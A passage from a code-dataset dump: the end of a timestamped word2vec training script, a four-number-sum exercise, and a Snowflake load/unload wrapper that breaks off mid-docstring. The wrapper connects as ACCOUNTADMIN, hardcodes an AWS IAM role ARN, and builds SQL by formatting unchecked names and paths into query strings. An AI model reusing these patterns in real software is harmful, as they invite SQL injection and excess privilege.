np.mean(np.array(all_embeddings),0)\n time_stamped_embeddings.append(mean_embedding)\n assert len(time_stamped_embeddings) ==2 , \"more timespans than two\"\n scores = [cosine(time_stamped_embeddings[0][i],time_stamped_embeddings[1][i]) for i,word in enumerate(words)]\n print(scores)\n print(helper.evaluate(scores))\n\n\n\n\n\n\n\n\n\n def get_embedding_in_a_year(self,words= None, year = 0,word2id=None):\n if word2id is None:\n word2id = {value:key for key,value in self.id2word.items()}\n\n words_id = [word2id[word]for word in words]\n # print(\"___\"*20)\n \n word,time = torch.LongTensor(words_id),torch.LongTensor([year]*len(words_id))\n # print(time)\n # print(word)\n embeddings = self.skip_gram_model.forward_embedding(word,time).data.numpy()\n return embeddings\n\ndef load_model(model,filename = \"pytorch.bin\"):\n\n state_dict = torch.load(filename)\n print(filename)\n print(state_dict.keys())\n print(state_dict.__class__.__name__)\n exit()\n missing_keys, unexpected_keys, error_msgs = [], [], []\n prefix = \"\"\n metadata = getattr(state_dict,\"_metadata\",\"None\")\n state_dict = state_dict.copy()\n if metadata is not None:\n state_dict._metadata = metadata\n\n def load(module, prefix = ''):\n local_metadata = {} if metadata is None else metadata.get(prefix[:-1],{})\n module._load_from_state_dict(state_dict, prefix,local_metadata,True,missing_keys,unexpected_keys,error_msgs)\n for name,child in module._modules.items():\n if child is not None:\n load(child,prefix + name + \".\")\n start_prefix = \"\"\n load(model,prefix=start_prefix)\n\n if len(missing_keys) > 0:\n print(\"weights of {} not initialized from pretrained model: {}\".format(model.__class__.__name__,missing_keys))\n if len(unexpected_keys) > 0:\n print(\"weights of {} not used pretrained model: {}\".format(model.__class__.__name__,unexpected_keys))\n if len(error_msgs) > 0:\n print(\"errors in loading state_dict for {} : \\n{}\".format(model.__class__.__name__,error_msgs))\n return model\n\n\nclass Word2VecTrainer:\n def __init__(self, args):# input_file, output_file, emb_dimension=100, batch_size=32, window_size=5, iterations=3,initial_lr=0.01, min_count=25,weight_decay = 0, time_scale =1\n\n # self.data = DataReader(args.text, args.min_count)\n # if not args.use_time:\n # dataset = Word2vecDataset(self.data, args.window_size)\n # else:\n # dataset = TimestampledWord2vecDataset(self.data, args.window_size,args.time_scale)\n #\n # self.dataloader = DataLoader(dataset, batch_size=args.batch_size,\n # shuffle=True, num_workers=0, collate_fn=dataset.collate)\n self.data,self.dataloader = self.load_train(args) # self.data\n\n if \"train\" in args.text:\n test_filename = args.text.replace(\"train\",\"test\")\n if os.path.exists(test_filename):\n print(\"load test dataset: \".format(test_filename))\n self.test = self.load_train(args, data = self.data, filename=test_filename, is_train=False )\n else:\n self.test = None\n\n dev_filename = args.text.replace(\"train\", \"dev\")\n if os.path.exists(dev_filename):\n print(\"load dev dataset: \".format(dev_filename))\n self.dev = self.load_train(args, data = self.data, filename=dev_filename, is_train=False)\n else:\n self.dev = None\n else:\n self.dev, self.test = None, None\n\n \n if args.use_time:\n self.output_file_name = \"{}/{}\".format(args.output, args.time_type)\n if args.add_phase_shift:\n self.output_file_name += \"_shift\"\n else:\n self.output_file_name = \"{}/{}\".format(args.output, \"word2vec\")\n if not os.path.exists(args.output):\n os.mkdir(args.output)\n if not os.path.exists(self.output_file_name):\n os.mkdir(self.output_file_name)\n self.emb_size = len(self.data.word2id)\n self.emb_dimension = args.emb_dimension\n self.batch_size = args.batch_size\n self.iterations = args.iterations\n self.lr = args.lr\n self.time_type = args.time_type\n self.weight_decay = args.weight_decay\n\n print(args)\n\n\n if args.use_time:\n self.skip_gram_model = TimestampedSkipGramModel(self.emb_size, self.emb_dimension,time_type = args.time_type,add_phase_shift=args.add_phase_shift) \n else:\n self.skip_gram_model = SkipGramModel(self.emb_size, self.emb_dimension)\n\n self.use_cuda = torch.cuda.is_available()\n self.device = torch.device(\"cuda\" if self.use_cuda else \"cpu\")\n if self.use_cuda:\n print(\"using cuda and GPU ....\")\n self.skip_gram_model.cuda()\n\n # load_path = \"{}/{}\".format(self.output_file_name)\n # torch.save(self.skip_gram_model,\"pytorch.bin\")\n # self.skip_gram_model = torch.load(\"pytorch.bin\")\n # self.skip_gram_model = load_model(self.skip_gram_model,\"pytorch.bin\")\n # exit()\n if not args.from_scatch and os.path.exists(self.output_file_name):\n\n print(\"loading parameters ....\")\n self.skip_gram_model.load_embeddings(self.data.id2word,self.output_file_name)\n\n def load_train(self,args,data= None, filename = None, is_train = True):\n if data is None:\n assert is_train==True, \"wrong to load data 1\"\n data = DataReader(args.text, args.min_count)\n filename = args.text\n else:\n assert is_train == False, \"wrong to load test data 2\"\n assert filename is not None, \"wrong to load test data 3\"\n assert data is not None, \"wrong to load test data 4\"\n if not args.use_time:\n dataset = Word2vecDataset(data, input_text = filename, window_size= args.window_size)\n else:\n dataset = TimestampledWord2vecDataset(data,input_text = filename, window_size= args.window_size, time_scale=args.time_scale)\n\n dataloader = DataLoader(dataset, batch_size=args.batch_size,\n shuffle=is_train, num_workers=0, collate_fn=dataset.collate) # shuffle if it is train\n if is_train:\n return data,dataloader\n else:\n return dataloader\n\n def evaluation_loss(self,logger =None):\n results = []\n self.skip_gram_model.eval()\n print(\"evaluating ...\")\n for index,dataloader in enumerate([self.dev,self.test]):\n if dataloader is None:\n continue\n losses = []\n for i, sample_batched in enumerate(tqdm(dataloader)):\n if len(sample_batched[0]) > 1:\n\n pos_u = sample_batched[0].to(self.device)\n pos_v = sample_batched[1].to(self.device)\n neg_v = sample_batched[2].to(self.device)\n\n if args.use_time:\n time = sample_batched[3].to(self.device)\n # print(time)\n loss, pos, neg = self.skip_gram_model.forward(pos_u, pos_v, neg_v, time)\n else:\n\n loss, pos, neg = self.skip_gram_model.forward(pos_u, pos_v, neg_v)\n # print(loss)\n losses.append(loss.item())\n mean_result = np.array(losses).mean()\n results.append(mean_result)\n print(\"test{} loss is {}\".format(index, mean_result))\n logger.write(\"Loss in test{}: {} \\n\".format( index, str(mean_result)))\n logger.flush()\n\n self.skip_gram_model.train()\n return results\n\n def train(self):\n print(os.path.join(self.output_file_name,\"log.txt\"))\n if not os.path.exists(self.output_file_name):\n os.mkdir(self.output_file_name)\n optimizer = optim.Adam(self.skip_gram_model.parameters(), lr=self.lr, weight_decay=self.weight_decay)\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, len(self.dataloader)*self.iterations)\n\n\n with open(\"{}/log.txt\".format(self.output_file_name,\"log.txt\"),\"w\") as f:\n for iteration in range(self.iterations):\n\n print(\"\\nIteration: \" + str(iteration + 1))\n f.write(str(args) +\"\\n\")\n # optimizer = optim.SparseAdam(self.skip_gram_model.parameters(), lr=self.initial_lr)\n\n\n running_loss = 0.0\n for i, sample_batched in enumerate(tqdm(self.dataloader)):\n if len(sample_batched[0]) > 1:\n\n pos_u = sample_batched[0].to(self.device)\n pos_v = sample_batched[1].to(self.device)\n neg_v = sample_batched[2].to(self.device)\n\n optimizer.zero_grad()\n if args.use_time:\n time = sample_batched[3].to(self.device)\n # print(time)\n loss,pos,neg = self.skip_gram_model.forward(pos_u, pos_v, neg_v,time)\n else:\n\n loss,pos,neg = self.skip_gram_model.forward(pos_u, pos_v, neg_v)\n # print(loss)\n\n loss.backward()\n optimizer.step()\n scheduler.step()\n\n\n\n loss,pos,neg = loss.item(),pos.item(),neg.item()\n\n if i % args.log_step == 0: # i > 0 and\n f.write(\"Loss in {} steps: {} {}, {}\\n\".format(i,str(loss),str(pos),str(neg)))\n\n if not torch.cuda.is_available() or i % (args.log_step*10) == 0 :\n print(\"Loss in {} steps: {} {}, {}\\n\".format(i,str(loss),str(pos),str(neg)))\n self.evaluation_loss(logger=f)\n epoch_path = os.path.join(self.output_file_name,str(iteration))\n if not os.path.exists(epoch_path):\n os.mkdir(epoch_path)\n\n torch.save(self.skip_gram_model, os.path.join( epoch_path,\"pytorch.bin\") )\n\n self.skip_gram_model.save_embedding(self.data.id2word, os.path.join(self.output_file_name,str(iteration)))\n self.skip_gram_model.save_in_text_format(self.data.id2word,\n os.path.join(self.output_file_name, str(iteration)))\n self.skip_gram_model.save_in_text_format(self.data.id2word,self.output_file_name)\n\n\n torch.save(self.skip_gram_model, os.path.join(self.output_file_name,\"pytorch.bin\") )\n with open(os.path.join(self.output_file_name,\"config.json\"), \"wt\") as f:\n json.dump(vars(args), f, indent=4)\n self.skip_gram_model.save_dict(self.data.id2word,self.output_file_name)\n\n\n\ndef get_sim_words(checker, words, years,real_years, k = 100 ):\n simwords = []\n for year in years:\n simwords.append(checker.get_similar_words(words = words, year = year, k = k))\n\n # base_year = 1810 if \"coha\" in checker.path else 1990\n # real_years = [str(year + base_year) for year in years]\n #\n # if \"arxiv\" in checker.path:\n # real_years = [\"{}-{}\".format( (year-4)//12 +2007, (year-4)%12 ) for year in years]\n\n lines = [\"{} \".format(checker.path)]\n for row in range(len(simwords[0])):\n line = [real_years[i] + \" : \" + simword[row] for i,simword in enumerate(simwords)]\n print(line)\n print(\"--\"*20)\n lines.extend(line)\n return \"\\n\".join(lines)\n\n\ncheck_list = [ (\"president\", [ \"nixon\",\"ford\",\"carter\", \"reagan\",\"clinton\", \"bush\" , \"obama\", \"trump\", \"biden\"]),\n (\"olympic\", [ \"moscow\", \"los\", \"angeles\", \"seoul\", \"barcelona\",\"atlanta\",\"sydney\",\"athens\", \"beijing\", \"london\", \"rio\", \"tokyo\"]),\n (\"nuclear\", [ \"technology\",\"threaten\",\"america\", \"russian\",\"cuba\", \"green\" , \"energy\",\"china\"]),\n (\"nuclear\", [ \"russian\",\"japan\", \"weapon\" , \"energy\", \"ukrainian\", \"soviet\"]),\n (\"olympic\", [\"sydney\",\"athens\", \"beijing\", \"london\", \"rio\", \"tokyo\"]),\n (\"president\", [ \"clinton\", \"bush\" , \"obama\", \"trump\", \"biden\"]),\n]\n\n\n\ncoha_words = [\"apple\", \"amazon\" , \"dna\", \"innovation\" , \"data\" , \"app\", \"twitter\", \"ranking\",\"quantum\", \"nuclear\",\"weapon\", \"president\" , \"chairman\" ,\"soviet\", \"reagan\", \"trump\", \"biden\", \"obama\", \"olympic\", \"olympics\", \"china\",\"america\",\"ai\", \"artificial\", \"intelligence\", \"neural\", \"network\", \"language\", \"model\",\"information\", \"retrieval\"]\nwords = coha_words + [\"iphone\", \"mp3\"]\n\ndef draw_figure():\n for output in [\"coha.txt.raw.token-output/\", \"coca.txt.raw.token-output/\", \"arxiv.txt.raw.token-output/\"]:\n if \"coca\" in output:\n years = [i-1990 for i in range(1990, 2020, 1)]\n else:\n years = [i-1810 for i in range(1810, 2020, 1)]\n for time_type in [\"word_mixed_fixed\", \"word_cos\"]: # \"word_cos\",\n for epoch in range(1,10,1):\n args.iterations = epoch\n try:\n checker = Word2VecChecker(path=output, time_type=time_type)\n for target, checked_words in check_list:\n # checker.plot_words_in_many_years(words=[target] + checked_words[-9:], years=years,\n # name=\"{}-{}\".format(output.split(\".\")[0], time_type))\n checker.get_sim_between_year(target, checked_words[-9:],\n name=\"{}-{}-{}-\".format(output.split(\".\")[0], time_type,epoch), years=years)\n except Exception as e:\n print(e)\n\n\ntimetypes = [\"cos\" , \"linear_shift\", \" mixed_shift\", \"sin_shift\", \"word_cos\", \"word_linear_shift\", \"word_mixed_fixed\", \"word_mixed_shift\", \"word_sin_shift\",\n\"cos_shift mixed\", \"others_shift\", \"word2vec\", \"word_cos_shift\", \"word_mixed\", \"word_mixed_fixed_shift\", \"word_sin\"]\n\n\ndef check_ssd():\n from data.ssd import Helper\n\n helper = Helper(\"data/grade.txt\")\n for time_type in timetypes: # [ \"word_sin\" ,\"word_cos\", \"word_cos_shift\", \"word_cos_shift\" ,\"word_mixed_fixed\",\"cos\",\"cos_shift\",\"\"]: #\n for epoch in range(10):\n try:\n print(time_type, epoch, \"-\" * 20 + \"\\n\")\n args.iterations = epoch\n checker = Word2VecChecker(path=\"coha.txt.raw.token-output/\", time_type=time_type)\n checker.check_ssd(helper)\n except Exception as e:\n print(e)\n\ndef sim_words_over_time(model_path,words,epoches = 10,dataset=\"none\",years =()):\n\n years, real_years = years\n\n for time_type in [\"word_mixed_fixed\"]: # \"word_cos\", , \"word_cos\"\n epoches = 10 if \"mixed_fixed\" in time_type else 5\n\n for epoch in range(1,epoches,1):\n save_filename = \"{}-{}-{}-sim_word_log.txt\".format(dataset, epoch, time_type)\n print(\"save log in {}\".format(save_filename))\n with open(save_filename, \"w\", encoding=\"utf-8\") as f:\n args.iterations = epoch\n checker = Word2VecChecker(path=model_path, time_type=time_type)\n log_text = get_sim_words(checker, words, years,real_years)\n print(log_text)\n\n f.write(log_text + \"\\n\")\n # exit()\n\n\n\nwords = [\"dna\", \"innovazione\", \"invecchiamento\", \"anziano\", \"vaccino\", \"spaziale\", \"coronavirus\", \"pandemia\",\"mascherina\", \"vaccino\", \"test\", \"respiratore\"]\n\n\nif __name__ == '__main__':\n \n if args.do_eval:\n # draw_figure()\n for model_path,(years, real_years) in year_mapping.items():\n sim_words_over_time(model_path,words, dataset=model_path.split(\"-\")[0], years=(years, real_years))\n # if \"coha\" in model_path:\n # sim_words_over_time(model_path,coha_words,dataset = model_path.split(\"-\")[0], years =(years, real_years) )\n # else:\n # sim_words_over_time(model_path,words,dataset = model_path.split(\"-\")[0],years =(years, real_years))\n # checker.word_change_rate(words, years =args.years)\n else:\n w2v = Word2VecTrainer(args)\n #input_file = args.text, output_file = args.output, batch_size = args.batch_size, initial_lr = args.lr, weight_decay = args.weight_decay, iterations = args.iterations, time_scale = args.time_scale\n w2v.train()\n\n # embeddings = checker.get_embedding_in_a_year(words = \"network\", year =1990)\n","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":27898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"334526932","text":"#Sample Input : [7,6,4,-1,1,2],16\n#Sample Output : [[7,6,4,-1],[7,6,1,2]]\n\n#AverageTime : O(N^2) and Space : O(N^2)\n\n#fourNumberSum Function will return a 2d-array of quadruplets that sum up to a given target value \ndef fourNumberSum(array, targetSum):\n\tpairSums = {}\n\tquadruplets = []\n\t\n\tfor i in range(1,len(array)-1):\n\t\t\n\t\tfor j in range(i+1,len(array)):\n\t\t\tcurrentSum = array[i] + array[j]\n\t\t\tdiff = targetSum - currentSum\n\t\t\tif diff in pairSums:\n\t\t\t\tfor pair in pairSums[diff]:\n\t\t\t\t quadruplets.append(pair + [array[i], array[j]])\n\t\t\t\t\t\n\t\tfor k in range(0,i):\n\t\t\tcurrentSum = array[k] + array[i]\n\t\t\tif currentSum not in pairSums:\n\t\t\t\tpairSums[currentSum] = [[array[k],array[i]]]\n\t\t\telse:\n\t\t\t\tpairSums[currentSum].append([array[k],array[i]])\n\treturn quadruplets\n\nif __name__ == '__main__':\n targetValue = int(input())\n arr = list(map(int,input().split()))\n result = fourNumberSum(arr, targetValue)\n for pair in result:\n \tprint(pair)","sub_path":"Arrays/fourNumberSum.py","file_name":"fourNumberSum.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"427072779","text":"from __future__ import print_function\nimport sys\nimport pandas as pd\nimport snowflake.connector\nfrom bi_db.bi_exceptions import SnowflakeException\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.pool import NullPool\nfrom snowflake.sqlalchemy import URL\nfrom datetime import datetime\nfrom bi_tools import flex_read\nfrom bi_tools import flex_write\n\nfrom s3_buckets import S3Buckets\ns3_snowflake = S3Buckets().snowflake\nfrom biz_intel_creds import CredsList\nsnowflake_creds = CredsList().snowflake\n\nclass SnowflakeConnection(object):\n def __init__(self):\n \"\"\"Snowflake Database Connection. Wrapper library designed and built\n to help users run database operations on Snowflake more easily.\n\n Args:\n NA\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n self.connection = snowflake.connector.connect(\n user=snowflake_creds['USER'],\n password=snowflake_creds['PASSWORD'],\n account=snowflake_creds['ACCOUNT'],\n role=\"ACCOUNTADMIN\"\n )\n self.engine = self.connection.cursor()\n\n def write_to_sql(self, df, schema_name, table_name,\n db_name=s3_snowflake[\"database_name\"],**kwargs):\n \"\"\"Writes records stored in a DataFrame to Snowflake database.\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n\n table_name: name of the table in snowflake\n\n kwargs: [\"if_exists\"]\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n # check to see if `if_exists` key argument was passed in\n try:\n kwargs[\"if_exists\"]\n if kwargs[\"if_exists\"] not in [\"fail\", \"replace\", \"append\"]:\n raise SnowflakeException(\"`if_exists` should be one of\"\\\n \"[`fail`, `replace`, `append`]\")\n else:\n if_exists = kwargs[\"if_exists\"]\n except NameError:\n if_exists = \"append\"\n except KeyError:\n if_exists = \"append\"\n\n custom_engine = self._create_custom_engine(db_name, schema_name)\n df = self._format_for_load(df)\n capitalize_columns_dict = {i: i.upper() for i in df.columns.tolist()}\n df = df.rename(columns=capitalize_columns_dict)\n df.to_sql(name=table_name, con=custom_engine, if_exists=if_exists,\n index=False, chunksize=1000)\n\n def load(self, schema_name, table_name,\n filepath, format , db_name=s3_snowflake[\"database_name\"]):\n \"\"\"Loads s3 object into Snowflake.\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n\n table_name: name of the table in snowflake\n\n filepath: filepath of the s3 object\n\n format: format of the s3 object\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n bucket = self._get_bucket(filepath)\n if format.upper() == \"CSV\":\n format = \"comma_delimited\"\n elif format.upper() == \"JSON\":\n raise SnowflakeException(\"format not supported\")\n elif format.upper() == \"GZIP\":\n raise SnowflakeException(\"format not supported\")\n else:\n raise SnowflakeException(\"format not supported\")\n\n bucket_name = bucket[\"bucket_name\"]\n\n if \".gz\" in filepath:\n gz_df = flex_read(filepath, s3=True, bucket_name=bucket_name)\n import random\n random_num = random.randint(1,101)\n filepath = \"{prefix}/tempfile/tempfile_{num}\".format(\n prefix=s3_snowflake[\"prefix\"], num=random_num)\n flex_write(gz_df, filepath, s3=True)\n\n load_query = \"\"\"\n COPY INTO {schema}.{table} FROM {filepath}\n FILE_FORMAT = (FORMAT_NAME='{format}')\n ON_ERROR = CONTINUE\n force=true;\n \"\"\".format(schema=schema_name,\n table=table_name,\n filepath=filepath.replace(bucket[\"prefix\"],\n bucket[\"stage\"]),\n format=format)\n if self._table_exists(table_name, schema_name, db_name):\n self.query_executor(\"USE SCHEMA {}.{}\".format(db_name, \"PUBLIC\"))\n self.query_executor(load_query)\n self.query_executor(\"COMMIT\")\n else:\n df = flex_read(filepath, s3=True,\n bucket_name=bucket[\"bucket_name\"], nrows=500)\n self.engine.execute(\"USE SCHEMA {db_name}.{schema}\".format(\n db_name=db_name,\n schema=schema_name\n )\n )\n self.write_to_sql(df=df, db_name=db_name,\n schema_name=schema_name, table_name=table_name,\n if_exists=\"replace\"\n )\n self.query_executor(\"USE SCHEMA {}.{}\".format(\n db_name, schema_name\n )\n )\n self.query_executor(\"DELETE FROM {}\".format(table_name))\n self.query_executor(\"USE SCHEMA {}.{}\".format(db_name, \"PUBLIC\"))\n self.query_executor(load_query)\n self.query_executor(\"COMMIT\")\n self._grant_permission(db_name, schema_name)\n\n def append(self, schema_name, table_name,\n filepath, format=\"csv\", db_name=s3_snowflake[\"database_name\"]):\n \"\"\"Bulk appends s3 object into Snowflake.\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n\n table_name: name of the table in snowflake\n\n filepath: filepath of the s3 object\n\n format: format of the s3 object\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n # default bulk load is bulk append\n self.load(schema_name, table_name,\n filepath, format, db_name)\n\n def update(self, schema_name, table_name, filepath, update_on,\n format=\"comma_delimited\", db_name=s3_snowflake[\"database_name\"]):\n \"\"\"Bulk upserts s3 object into Snowflake.\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n\n table_name: name of the table in snowflake\n\n update_on: name of the column to update on\n\n filepath: filepath of the s3 object\n\n format: format of the s3 object\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n bucket = self._get_bucket(filepath)\n # create staging_{destination_table_name}\n # and upload to staging\n staging_name = \"STAGING_\" + table_name\n df = flex_read(filepath, s3=True,\n bucket_name=bucket[\"bucket_name\"], nrows=5)\n\n column_list = df.columns.tolist()\n update_column_match_string = ', '.join(\n \"{column} = {schema}.{temp_table}.{column}\".format(\n column=i, temp_table=staging_name,\n schema=schema_name) for i in column_list)\n temp_column_string = ', '.join(\n \"{schema}.{temp_table}.{column}\".format(\n column=i, temp_table=staging_name,\n schema=schema_name) for i in column_list)\n prod_column_string = ', '.join(\n \"{column}\".format(\n column=i) for i in column_list)\n self.query_executor(\"USE DATABASE {}\".format(db_name))\n create_temp_table_query = \\\n \"\"\"CREATE TEMPORARY TABLE {schema}.{temp_table}\n LIKE {schema}.{table};\"\"\".format(\n schema=schema_name\n , table=table_name\n , temp_table=staging_name)\n load_temp_query = \"\"\"COPY INTO {schema}.{temp_table}({prod_columns})\n FROM {filepath}\n FILE_FORMAT = (FORMAT_NAME='{format_name}'\n ESCAPE_UNENCLOSED_FIELD=NONE);\"\"\".format(\n schema=schema_name\n , temp_table=staging_name\n , prod_columns=prod_column_string\n , filepath=filepath.replace(\n bucket[\"prefix\"],\n bucket[\"stage\"])\n , format_name=format)\n merge_query = \\\n \"\"\"MERGE INTO {schema}.{table}\n USING {schema}.{temp_table}\n ON {schema}.{table}.{update_on} = {schema}.{temp_table}.{update_on}\n WHEN MATCHED THEN UPDATE SET {update_column_match_string}\n WHEN NOT MATCHED THEN INSERT({prod_columns}) VALUES({temp_columns});\"\"\".\\\n format(\n schema=schema_name\n , table=table_name\n , temp_table=staging_name\n , update_on=update_on\n , update_column_match_string=update_column_match_string\n , prod_columns=prod_column_string\n , temp_columns=temp_column_string)\n self.query_executor(\"USE SCHEMA {}.{};\".format(db_name, \"PUBLIC\"))\n self.query_executor(create_temp_table_query)\n self.query_executor(load_temp_query)\n self.query_executor(merge_query)\n\n def replace(self, schema_name, table_name,\n filepath, format=\"csv\", db_name=s3_snowflake[\"database_name\"]):\n \"\"\"Bulk replaces s3 object into Snowflake.\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n\n table_name: name of the table in snowflake\n\n filepath: filepath of the s3 object\n\n format: format of the s3 object\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n # write staging\n staging_table_name = table_name.upper() + \"_STAGING\"\n self.query_executor(\"USE SCHEMA {db}.{sn}\".format(\n db=db_name, sn=schema_name\n )\n )\n self.load(schema_name, staging_table_name,\n filepath, format, db_name\n )\n # change table names\n self.query_executor(\"USE SCHEMA {db}.{sn}\".format(\n db=db_name, sn=schema_name\n )\n )\n self.query_executor(\"ALTER TABLE {tn} RENAME TO {gn}\".format(\n tn=table_name, gn=\"garbage\"\n )\n )\n self.query_executor(\"ALTER TABLE {stn} RENAME TO {tn}\".format(\n stn=staging_table_name, tn=table_name\n )\n )\n # drop the old table\n self.query_executor(\"DROP TABLE {gn}\".format(gn=\"garbage\"))\n\n def create(self, object_name, object_type=None, **kwargs):\n \"\"\"Creates a database object.\n\n Args:\n object_name: name of the object you are creating\n\n object_type: (DATABASE, SCHEMA, WAREHOUSE, TABLE)\n\n DATABASE(key argument): name of the database\n\n SCHEMA(key argument): name of the schema\n\n df(key argument): dataframe you want to create the table with\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n if \"DATABASE\" in kwargs:\n db_name = kwargs[\"DATABASE\"]\n if \"SCHEMA\" in kwargs:\n schema_name = kwargs[\"SCHEMA\"]\n\n if object_type is None:\n raise SnowflakeException(\"object type must be one of \"\\\n \"['DATABASE', 'SCHEMA',\" \\\n \"'WAREHOUSE', 'TABLE']\"\n )\n elif object_type.upper() in [\"DATABASE\", \"WAREHOUSE\"]:\n self.engine.execute(\"CREATE {ot} IF NOT EXISTS {on}\".format(\n ot=object_type, on=object_name\n )\n )\n elif object_type.upper() == \"SCHEMA\":\n self.engine.execute(\"USE DATABASE {db_name}\".format(\n db_name=kwargs[\"DATABASE\"]\n )\n )\n self.engine.execute(\"CREATE {ot} IF NOT EXISTS {on}\".format(\n ot=object_type, on=object_name\n )\n )\n self._grant_permission(kwargs[\"DATABASE\"], object_name)\n elif object_type.upper() == \"TABLE\":\n self.engine.execute(\"USE SCHEMA {db_name}.{schema}\".format(\n db_name=kwargs[\"DATABASE\"],\n schema=kwargs[\"SCHEMA\"]\n )\n )\n # default append creates the table\n today = datetime.strftime(datetime.today(), \"%Y-%m-%d\")\n savepath = \\\n \"{prefix}/schema={schema}\"\\\n \"/table={table}/{today}/{schema}_{table}.csv\".format(\n prefix=s3_snowflake[\"prefix\"], schema=kwargs[\"SCHEMA\"],\n table=object_name, today=today)\n\n flex_write(kwargs[\"df\"], savepath,s3=True)\n self.append(schema_name=kwargs[\"SCHEMA\"], table_name=object_name,\n filepath=savepath)\n\n def unload(self, database, schema, table, **kwargs):\n \"\"\"Unloads a database table into a specified s3 location\n\n Args:\n database: name of the database\n\n schema_name: name of the schema\n\n table_name: name of the table\n\n s3_path: filepath of the s3 object\n\n kwargs: [\"aws_access_key_id\", \"aws_secret_access_key\"]\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n schema = schema.upper()\n table = table.upper()\n try:\n kwargs[\"s3_path\"]\n s3_path = kwargs[\"s3_path\"]\n except NameError:\n today = datetime.strftime(datetime.today(), \"%Y-%m-%d\")\n s3_path = \"{prefix}/schema={schema}/table={table}/\"\\\n \"{today}\".format(prefix=s3_snowflake[\"prefix\"], schema=schema,\n table=table, today=today)\n except KeyError:\n today = datetime.strftime(datetime.today(), \"%Y-%m-%d\")\n s3_path = \"{prefix}/schema={schema}/table={table}/\"\\\n \"{today}\".format(prefix=s3_snowflake[\"prefix\"], schema=schema,\n table=table, today=today)\n if set([\"aws_access_key_id\", \"aws_secret_access_key\"]) < \\\n set(list(kwargs)):\n aws_key_given = True\n else:\n aws_key_given = False\n if not aws_key_given:\n sql=\"\"\"\n UNLOAD \\\n('select * from {database}.{schema}.{table}') TO '{s3path}/{schema}_{table}' \\\n CREDENTIALS\n 'aws_iam_role=arn:aws:iam::542960883369:role/redshift_access_role' \\\n DELIMITER AS ',' \\\n ADDQUOTES \\\n NULL AS '' \\\n ALLOWOVERWRITE \\\n PARALLEL OFF;\"\"\"\\\n .format(database=database,\n schema=schema,\n table=table,\n s3path=s3_path)\n elif aws_key_given:\n sql=\"\"\"\n UNLOAD \\\n('select * from {database}.{schema}.{table}') TO '{s3path}/{schema}_{table}' \\\n CREDENTIALS\n 'aws_access_key_id={aki};aws_secret_access_key={sck}' \\\n DELIMITER AS ',' \\\n ADDQUOTES \\\n NULL AS '' \\\n ALLOWOVERWRITE \\\n PARALLEL OFF;\"\"\"\\\n .format(database=database,\n schema=schema,\n table=table,\n s3path=s3_path,\n aki=kwargs[\"aws_access_key_id\"],\n sck=kwargs[\"aws_secret_access_key\"])\n #logger.custom_log(\"Unloading your table\")\n self.query_executor(sql)\n\n df = self.sql_dataframe(\"select * from {}.{}.{} limit 3;\".format(\n database, schema, table))\n df = pd.DataFrame(df.columns)\n df.rename(columns={0:\"column_name\"}, inplace=True)\n flex_write(df, s3_path + \"/column_names.csv\", \"csv\", s3=True)\n\n\n def get_metadata(self, db_name, schema_name, table_name):\n \"\"\"Gets and returns the metadata table.\n\n Args:\n database: name of the database\n\n schema: name of the schema\n\n table: name of the table\n Returns:\n metadata: list of metadata of each field\n Raises:\n NA\n \"\"\"\n self.engine.execute(\"SELECT * FROM {}.{}.{} limit 5\"\\\n .format(db_name, schema_name, table_name))\n return ','.join([col[0] for col in self.engine.description])\n\n def get_query_id(self, query_order=-1):\n \"\"\"Gets and returns the query_id.\n\n Args:\n query_order: the order of the query_id being fetched\n Returns:\n query_id: the id the of the query\n Raises:\n SnowflakeException\n \"\"\"\n df = pd.read_sql(sql=\"select last_query_id({ord})\"\\\n .format(ord=query_order),con=self.connection)\n return df[\"LAST_QUERY_ID({ord})\".format(ord=query_order)][0]\n\n def cancel_query(self, query_id):\n \"\"\"Cancels the query associated with the given query id.\n\n Args:\n query_id: the of query you want to cancel\n Returns:\n NA\n Raises:\n SnowflakeException\n \"\"\"\n try:\n self.engine.execute(r\"select SYSTEM$CANCEL_QUERY('{queryID}')\"\\\n .format(queryID=query_id))\n except:\n raise SnowflakeException(\"Cannot cancel query_id:{}\"\\\n .format(query_id))\n\n def query_executor(self, query):\n \"\"\"Executes the query.\n\n Args:\n query: query to execute\n Returns:\n NA\n Raises:\n NA\n \"\"\"\n self.engine.execute(query)\n\n def sql_dataframe(self, query):\n \"\"\"Executes the query and return the queried results\n in a pandas dataframe.\n\n Args:\n query: query to execute\n Returns:\n df_result: pandas DataFrame of the queried result\n Raises:\n NA\n \"\"\"\n try:\n df_result = pd.read_sql(query, self.connection)\n except TypeError:\n df_result = pd.read_sql(query.replace(\"%\", \"%%\"), self.connection)\n return df_result\n\n def change_data_type(self, schema_name, table_name, column_name,\n data_type, db_name=\"BUSINESS_INTELLIGENCE\",\n need_confirmation=False, force=False, time_format='YYYY-MM-DD'):\n \"\"\"Change the data type of a column in a table\n\n Args:\n db_name: name of the database in snowflake\n\n schema_name: name of the schema in snowflake\n\n table_name: name of the table in snowflake\n\n column_name: name of the column\n\n data_type: name of the desired data type in string\n\n need_confirmation: prompts to ask if the change should be committed\n when set to True\n force: tries to force data type conversion then prompts to ask\n if the rows with invalid values should be dropped\n time_format: format of time the string value is in\n Returns:\n NA\n Raises:\n NA\n\n Below is the mapping between your desired data type and sql functions\n used for each one.\n\n If 'force' argument is given and it's set to 'True':\n sql_functions = {\n 